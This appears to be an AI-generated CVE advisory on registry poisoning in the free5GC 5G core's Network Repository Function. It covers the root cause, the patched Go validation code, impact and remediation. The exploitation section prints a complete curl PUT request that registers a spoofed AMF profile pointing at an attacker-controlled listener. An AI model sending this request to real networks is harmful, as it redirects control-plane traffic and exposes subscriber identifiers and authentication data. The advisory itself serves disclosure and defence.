CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-55068

CVE-2026-55068: Network Function Registration Poisoning in free5GC NRF

Amit Schendel
Amit Schendel
Senior Security Researcher

Aug 28, 2026·6 min read·13 visits

Executive Summary (TL;DR)

Unauthenticated remote attackers can register malformed NF profiles to redirect legitimate 5G control-plane signaling to attacker-controlled endpoints.

Improper input validation in the free5GC Network Repository Function (NRF) enables attackers with Service-Based Interface (SBI) access to register poisoned Network Function (NF) profiles, facilitating control-plane redirection and credential sniffing.

Vulnerability Overview

In a 3GPP-compliant 5G Core Network, the Network Repository Function (NRF) functions as the centralized service directory, managing the state and registration details of all active Network Functions (NFs) such as the Access and Mobility Management Function (AMF) and the Session Management Function (SMF).

When individual NFs initialize, they register their service profiles via the NRF's management API. Legitimate peer NFs subsequently query this service directory to obtain IP addresses, port configurations, and URI schemes necessary to routing operational 5G control-plane traffic.

In free5GC version 4.2.2 and earlier, the NRF's RegisterNFInstance handler failed to perform structural, value-bound, or architectural validation on incoming registration payloads. This structural failure allows unauthorized network actors with access to the Service-Based Interface (SBI) to advertise non-compliant metadata, leading to registration directory poisoning.

Root Cause Analysis

The root cause of CVE-2026-55068 lies in the absence of explicit, schema-enforced validation routines within the RegisterNFInstance handler located at the PUT path /nnrf-nfm/v1/nf-instances/{nfInstanceID}. The server accepted any arbitrary JSON document and persisted it directly to the underlying MongoDB datastore without verification against the 3GPP TS 29.510 specification.

Because MongoDB is schema-less by default and no collection-level JSON Schema validation was configured for the NfProfile collection, invalid structural data was stored successfully. Key specifications, such as verifying that nfInstanceId conforms to a standard UUID v4 format or ensuring that nfStatus matched permissible 3GPP enum values, were entirely ignored.

Most critically, the NRF failed to validate the ipEndPoints nested within the nfServices array. No mechanism was in place to verify whether the advertised IP addresses belonged to legitimate internal network zones, allowing external or rogue IP endpoints to be integrated directly into the topology of the 5G Core Network.

This lack of validation extended to HTTP PATCH operations. The NRF accepted JSON Patch modifications containing arbitrary structure changes and saved them to the registry database, rendering dynamic profile updates highly susceptible to modification-based poisoning.

Code Analysis

In vulnerable versions, raw HTTP request bodies were unmarshaled directly into Go struct models without invoking validation methods, followed by direct database persistence. The patch introduced in PR #90 fixes this by parsing request streams through a newly written validation engine.

The updated validation engine in internal/sbi/processor/nf_profile_validation.go enforces the structure below:

func validateNfProfile(nfProfile *models.NrfNfManagementNfProfile) error {
	if nfProfile == nil {
		return fmt.Errorf("NF profile is required")
	}
	// Enforce strict UUID v4 checking
	if err := validateNfInstanceID(nfProfile.NfInstanceId); err != nil {
		return err
	}
	// Validate standard-defined enumerations
	if !validNfType(nfProfile.NfType) {
		return fmt.Errorf("invalid nfType: %s", nfProfile.NfType)
	}
	if !validNfStatus(nfProfile.NfStatus) {
		return fmt.Errorf("invalid nfStatus: %s", nfProfile.NfStatus)
	}
	// Ensure numeric values are bounded safely
	if nfProfile.HeartBeatTimer != 0 && !validHeartBeatTimer(nfProfile.HeartBeatTimer) {
		return fmt.Errorf("heartBeatTimer must be between %d and %d", minHeartBeatTimer, maxHeartBeatTimer)
	}
	// Verify endpoint transport values and valid network syntax
	for serviceIndex, service := range nfProfile.NfServices {
		for endpointIndex, endpoint := range service.IpEndPoints {
			if err := validateIPEndPoint(endpoint); err != nil {
				return fmt.Errorf("invalid nfServices[%d].ipEndPoints[%d]: %w", serviceIndex, endpointIndex, err)
			}
		}
	}
	return nil
}

The corresponding network validation function ensures that IP addresses are syntactically valid and that the port values fall within valid TCP bounds:

func validateIPEndPoint(endpoint models.IpEndPoint) error {
	if endpoint.Transport != "" && endpoint.Transport != models.NrfNfManagementTransportProtocol_TCP {
		return fmt.Errorf("transport must be TCP")
	}
	if endpoint.Port != 0 && (endpoint.Port < 1 || endpoint.Port > 65535) {
		return fmt.Errorf("port must be between 1 and 65535")
	}
	if endpoint.Ipv4Address != "" {
		ip := net.ParseIP(endpoint.Ipv4Address)
		if ip == nil || ip.To4() == nil {
			return fmt.Errorf("invalid ipv4Address: %s", endpoint.Ipv4Address)
		}
	}
	return nil
}

Exploitation Methodology

Exploiting this flaw requires network access to the 5G Core Service-Based Interface (SBI). An attacker registers an arbitrary NF Profile by transmitting an HTTP PUT request configured with spoofed service endpoints.

The payload used in the attack replaces legitimate endpoints with an attacker-controlled listener target (e.g., 10.0.0.99:7777 for the AMF communication service):

curl -X PUT \
  "http://<NRF_IP>:8000/nnrf-nfm/v1/nf-instances/11111111-1111-1111-1111-111111111111" \
  -H "Content-Type: application/json" \
  -d '{
    "nfInstanceId": "11111111-1111-1111-1111-111111111111",
    "nfType": "AMF",
    "nfStatus": "REGISTERED",
    "heartBeatTimer": 3600,
    "plmnList": [{"mcc": "001", "mnc": "01"}],
    "sNssais": [{"sst": 1, "sd": "010203"}],
    "nfServices": [{
      "serviceInstanceId": "fake-amf-svc",
      "serviceName": "namf-comm",
      "versions": [{"apiVersionInUri": "v1", "apiFullVersion": "1.0.0"}],
      "scheme": "http",
      "nfServiceStatus": "REGISTERED",
      "ipEndPoints": [{"ipv4Address": "10.0.0.99", "port": 7777, "transport": "TCP"}]
    }]
  }'

Once registered, subsequent Service Discovery requests initiated by neighboring functions receive this poisoned routing descriptor. Peer nodes then transmit sensitive HTTP/2 control-plane JSON payloads directly to the attacker-controlled server, exposing active subscriber identifiers (SUPI/IMSI) and authentication parameters.

Impact Assessment

The impact of successful registry poisoning is severe. By intercepting control-plane signaling, an attacker can capture raw subscriber authentication vectors, session establishment commands, and individual subscriber credentials, undermining cellular link confidentiality.

Furthermore, system integrity and availability are directly affected. Attackers can register invalid endpoints that lead to routing loops or non-existent destinations, causing a widespread Denial of Service (DoS) across dependent network functions.

While CVSS 4.0 classifies this vulnerability at a critical score of 9.3, real-world execution requires network proximity to the internal 5G Service-Based Interface. However, within multi-tenant cloud deployments, container compromises could serve as a direct springboard for this attack.

Remediation and Security Hardening

To address this vulnerability, security teams must deploy the official patches released by the free5GC maintainers.

Although the input validation patch resolves the primary injection vector, operators should note that the validation module still allows registering arbitrary IP addresses. It does not enforce a restriction on local loopback addresses (such as 127.0.0.1) or private subnets unless those ranges are explicitly configured. Consequently, secondary risks like internal Server-Side Request Forgery (SSRF) could still occur if peer NFs parse these endpoints without local network authorization checks.

To establish depth-of-defense, deployment environments should restrict API access using localized service mesh mutual TLS (mTLS) setups. Restricting the Service-Based Interface using IP-based firewalls prevents rogue workloads from interacting with the NRF control-plane endpoints.

Official Patches

free5GCOfficial Pull Request containing the input validation engine

Fix Analysis (2)

Technical Appendix

CVSS Score
9.3/ 10
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Affected Systems

free5GC Core v4.2.2 and earlierfree5GC NRF Component v1.4.4 and earlier

Affected Versions Detail

Product
Affected Versions
Fixed Version
free5GC
free5GC
<= 4.2.24.2.3
NRF (Network Repository Function)
free5GC
<= 1.4.41.4.5
AttributeDetail
CWE IDCWE-20 (Improper Input Validation)
Attack VectorNetwork (SBI access)
CVSS v4.09.3
ImpactControl-Plane Redirect / Information Disclosure / Denial of Service
Exploit StatusProof-of-Concept Available
KEV StatusNot Listed

MITRE ATT&CK Mapping

T1190Exploit Public-Facing Application
Initial Access
T1565.001Data Manipulation: Stored Data Manipulation
Impact
CWE-20
Improper Input Validation

The product receives input or data, but does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly.

Vulnerability Timeline

Vulnerability discovered and tracked via GitHub Issue #1056
2026-05-27
Fix commit implementing schema-level Go models published
2026-06-09
Remediation Pull Request #90 merged
2026-06-10
Official CVE-2026-55068 and GHSA Advisory published
2026-08-28

References & Sources

  • [1]GHSA-x8mj-6p3q-g5pp Security Advisory
  • [2]GitHub Issue 1056: NF Profile Validation Flaw
  • [3]free5GC Core v4.2.3 Release Notes
  • [4]free5GC NRF v1.4.5 Release Notes

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•26 minutes ago•CVE-2026-55841
7.5

CVE-2026-55841: Log Evasion and Tampering in Graylog FortiGate Syslog Parser

A high-severity log evasion and tampering vulnerability in Graylog's FortiGate key-value syslog parser allows unauthenticated remote attackers to modify, delete, or overwrite critical security log fields, potentially bypassing security controls and monitoring systems.

Alon Barad
Alon Barad
1 views•7 min read
•about 1 hour ago•CVE-2026-55867
5.3

CVE-2026-55867: Insecure Direct Object Reference in Graylog Access-Token Revocation

An Insecure Direct Object Reference (IDOR) vulnerability exists within the access-token revocation endpoint of Graylog. Authenticated users can exploit this flaw to delete access tokens belonging to other users, including high-privileged administrator accounts, thereby disrupting active integrations and API access.

Alon Barad
Alon Barad
2 views•7 min read
•about 2 hours ago•CVE-2026-55873
4.3

CVE-2026-55873: Improper Authorization in SeaweedFS S3Tables and Iceberg REST Management APIs

An improper authorization vulnerability in SeaweedFS versions 4.08 through 4.33 allows authenticated, low-privileged users to bypass directory isolation and perform unauthorized metadata operations within S3Tables and Iceberg REST interfaces. The vulnerability arises from an automatic collapse of account-less static identities to the default administrative principal, combined with a fail-open default policy configuration and self-referential authorization parameters in the table bucket listing routines. Together, these logical flaws expose administrative configurations and namespace architectures to unprivileged actors. The issue is resolved in version 4.34 by enforcing capability-based access checks, isolating fallback modes, and performing granular access verification on target buckets.

Alon Barad
Alon Barad
2 views•6 min read
•about 3 hours ago•CVE-2026-55874
7.7

CVE-2026-55874: Cross-Bucket Path Traversal in SeaweedFS S3 API Gateway

A critical path traversal vulnerability (CVE-2026-55874) in the SeaweedFS S3 API Gateway prior to version 4.34 allows authenticated remote attackers with write access to at least one bucket to bypass isolation. By supplying crafted directory traversal sequences in the X-Amz-Copy-Source header, an attacker can read objects from arbitrary buckets on the same deployment.

Amit Schendel
Amit Schendel
2 views•7 min read
•about 4 hours ago•CVE-2026-55779
5.4

CVE-2026-55779: Stored Cross-Site Scripting (XSS) in Silverstripe Archive Admin Restore

A Stored Cross-Site Scripting (XSS) vulnerability exists in the silverstripe/versioned package prior to version 3.2.1. When an administrator restores an archived page containing a crafted Title or URLSegment, the generated restoration message is rendered as CAST_HTML without proper sanitization. This allows malicious JavaScript to execute in the administrator's browser session, compromising the confidentiality and integrity of the CMS dashboard.

Amit Schendel
Amit Schendel
2 views•6 min read
•about 5 hours ago•CVE-2026-55784
7.5

CVE-2026-55784: Concurrent Request Context Overwrite in free5GC AUSF

A concurrency synchronization flaw (race condition) exists in the Authentication Server Function (AUSF) of the free5GC 5G core network implementation. In versions 1.4.4 and earlier, authentication contexts are stored in a global sync.Map keyed solely by the Subscriber Permanent Identifier (SUPI). If multiple concurrent authentication requests are received for the same SUPI, the active security parameters (such as keys and expected responses) are unconditionally overwritten, resulting in authentication failures for the legitimate user.

Alon Barad
Alon Barad
2 views•6 min read